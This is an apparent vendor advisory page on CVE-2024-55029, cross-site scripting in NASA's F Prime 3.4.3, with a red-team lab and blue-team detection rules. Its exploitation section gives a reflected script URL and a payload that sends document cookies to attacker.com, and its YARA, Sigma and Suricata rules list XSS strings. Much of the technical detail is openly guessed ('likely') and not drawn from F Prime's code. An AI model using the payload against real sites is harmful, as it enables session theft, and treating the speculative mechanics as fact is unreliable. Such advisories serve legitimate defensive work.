CVE-2024-55029
Executive Summary
CVE-2024-55029 identifies multiple cross-site scripting (XSS) vulnerabilities in NASA's F Prime (Fprime) framework, version 3.4.3. F Prime is a component-driven framework for rapid development and deployment of spaceflight and embedded software. The vulnerabilities allow an attacker to inject malicious scripts into web interfaces served by the framework, potentially leading to session hijacking, data theft, or unauthorized actions within the context of the affected application. The CVSS score is listed as 0.0, indicating insufficient data for scoring, but the nature of XSS vulnerabilities typically results in medium to high severity ratings. No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the NASA Fprime framework, which is distributed as a Python package via PyPI (fprime). Users of this package should verify their version and apply any available updates. The lack of a patch at this time means that users must rely on mitigations such as input validation and output encoding.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is unusual and likely indicates that the NVD has not yet assigned a proper score. Based on the vulnerability type (XSS), a typical CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): Required (R) – The victim must click a link or visit a page.
- Scope (S): Changed (C) – The impact is on a different security scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact if exploited in a context with sensitive data.
Deep Dive & Mechanics
Cross-site scripting (XSS) vulnerabilities in Fprime arise when user-supplied data is not properly sanitized before being rendered in web pages. Fprime includes a web-based dashboard and command interface for monitoring and controlling spacecraft systems. The specific injection points are likely in:
- Command input fields: Where operators enter commands or parameters.
- Telemetry display pages: Where system data is shown.
- Configuration interfaces: Where settings are modified.
An attacker can craft a malicious URL or input containing JavaScript code. When a victim (e.g., a mission operator) views the affected page, the script executes in their browser, allowing the attacker to:
- Steal session cookies and impersonate the user.
- Modify displayed telemetry data.
- Execute arbitrary commands on the spacecraft (if the interface allows).
- Redirect to phishing pages.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks proper output encoding. For example:
Vulnerable (Python/Flask-like):
@app.route('/command')
def command():
cmd = request.args.get('cmd')
return f"<div>Executing: {cmd}</div>"
Patched (using Jinja2 autoescaping):
from flask import render_template_string
@app.route('/command')
def command():
cmd = request.args.get('cmd')
return render_template_string("<div>Executing: {{ cmd }}</div>", cmd=cmd)
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install Fprime v3.4.3:
pip install fprime==3.4.3 - Start the Fprime web interface:
fprime-gds -g 5000 - Access
http://localhost:5000
Exploitation Steps:
- Identify an input field (e.g., command parameter).
- Inject a payload:
<script>alert('XSS')</script> - If reflected, craft a URL:
http://localhost:5000/command?cmd=<script>alert('XSS')</script> - Send the link to a victim (e.g., via email or chat).
- Upon clicking, the script executes.
Advanced Payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor web logs for unusual characters like
<script>,onerror=,javascript:. - Use WAF rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers.
Mitigation:
- Apply input validation and output encoding.
- Use framework-provided escaping functions.
- Restrict access to the Fprime web interface to trusted networks only.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags or JavaScript event handlers in query parameters. - Logs: Web server logs showing
cmd=<script>or similar patterns. - File: Modified JavaScript files in the Fprime installation directory.
- Behavior: Unexpected redirects, pop-ups, or network requests to external domains.
Detection Engineering
YARA Rule
rule CVE_2024_55029_XSS {
meta:
description = "Detects XSS payloads targeting NASA Fprime v3.4.3"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-55029"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$xss4 = "onload=" nocase
condition:
any of them
}
Sigma Rule
title: XSS Attempt Against NASA Fprime
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks targeting Fprime web interfaces
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-55029 XSS Attempt"; flow:to_server; content:"<script>"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-55029 XSS Attempt"; flow:to_server; content:"onerror="; nocase; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-55029 XSS Attempt"; flow:to_server; content:"javascript:"; nocase; http_uri; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Fprime web interface to trusted networks only (e.g., VPN).
- Implement a Web Application Firewall (WAF) with XSS rules.
- Monitor logs for suspicious activity.
Long-term Fix:
- Await an official patch from NASA.
- Apply input validation and output encoding in all user-facing components.
- Use Content Security Policy (CSP) headers to restrict script execution.
Workaround:
- Disable the web interface if not required.
- Use a reverse proxy to add security headers.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.